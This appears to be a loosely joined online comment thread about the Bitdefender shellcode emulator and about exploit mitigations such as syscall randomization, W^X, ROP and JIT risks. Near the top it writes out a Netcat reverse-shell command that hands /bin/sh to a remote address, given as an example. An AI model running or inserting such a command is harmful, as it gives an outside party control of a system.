Bdshemu: Bitdefender shellcode emulator
hvmi.github.io
hvmi.github.io
The most basic example would be using Netcat:
nc -e "/bin/sh" 66.77.88.99 6789
Simply, that allows Netcat to pipe any data from the remote host through the shell. This is obviously really bad shellcode since all the network traffic is plaintext and pretty easy for IDS systems to spot.Also, what about making syscall table something that is passed to each process on start - containing syscalls in random order?
I largely don't care about the current reality of things. Having fixed system call numbers, fixed function order, merged text and rodata - all these things just make me tired and want to start over with the whole thing.
Also, is nobody concerned that JIT is normalizing creating new executable code at run-time?
If there is identifying meta-data (such as names) associated with each then I guess malicious code can parse that too, or steal it from some authorized source after that has parsed it, or whatever.
On the other hand, I s*ck at security so perhaps this is the best idea ever ... honest question.
That said, I have no idea what works and what doesn't for security. I'm just asking questions, too. :)
Can you explain in a bit more detail how I navigate this randomized table as a syscall user to call the right one? I call socket(), say. And that is mapped to index 12 of the randomized syscall table. How is it found at runtime?
One drawback here is that your simple hello-world write/printf in assembly becomes complicated, because you need to get the table address so you can access the write/exit information. As far as what this would help for security, I have no idea, other than making it harder to exploit cases where you don't have a lot of room.
We don't hear a lot about all the exploits that didn't happen because of all the extra hoops you have to jump through with each change over the years.
Doesn’t Darwin’s linking model effectively do this separation (though I don’t know about randomization) unconditionally, with the whole “atom” thing? IME the linker does tree shaking effectively without per-function sections, and I have trouble seeing how that would work otherwise.
shrug the alternative is to be iOS, where programming languages are banned.
The simple and now widespread mitigation is "W xor X": enforcing that pages must either be data or code, but if something is supposed to be executable it must not be writable. So JITs must build their code and then call the operating system to change the page into executable.
But even this isn't entirely sufficient in situations where "ROP" (return oriented programming) is possible; this relies on finding "gadgets" at the tail end of functions that contain a wide enough selection of instructions to do what you want, and then overwriting the stack with a big pile of return addresses. The chain of returns then executes each gadget in sequence.
An advanced mitigation against that is stack "canaries", such as https://arxiv.org/pdf/1909.05747.pdf
I realize I am taking some minor flack for my questions, but that is how you get people to answer. You have to be a little bit controversial. So, As far as JITs go, I've been thinking about how Rust just took something C++ people took for granted: You can't have certain safeties because it would cost you performance, and prove it completely wrong. But it required moving completely away from C and rethinking things from the ground up.
So, who is to say you can't do the same with dynamic languages? I mean, why do we even have JIT to begin with? It's largely for these highly dynamic JS, Python-like languages, which are extremely popular because of it. Is there really a good reason to believe that these types of languages will never be compiled to native code? Even if only at near-native speeds?
However you’re losing one of the significant benefits of these languages (that is pretty much crucial in the JS case): the ability for them to be written independently of the particular runtime and architecture of the execution environment. Code generated for JS (just as an example) has to be intimately aware of the runtime’s native bindings and GC implementation to be as efficient as it is in modern browser engines. You would also lose the ability to software sandbox untrusted code. Basically, the JIT platform for which exploits are the most valuable by a large margin wouldn’t be able to use this solution, and the other JIT platforms aren’t often used in ways that make this kind of issue relevant in practice.
Even if you did compile Javascript ahead, before delivery, what would you compile _to_? It would have been a huge uphill struggle for the smartphone era if all websites had been x86-only.
AOT compilation forces you to pick your customer hardware. JIT leaves that choice to the customer.
Mind you, there are situations where I'd quite like AOT for Python, or at least advance _linking_, as it would solve a lot of the distribution problems and virtualenv hassles.
What else would I do with executable code?
Also, what does it mean to make an exploit "hard"? Hard to write an exploit (offensive) or hard to mitigate (defensive)?
That presentation has some info on XO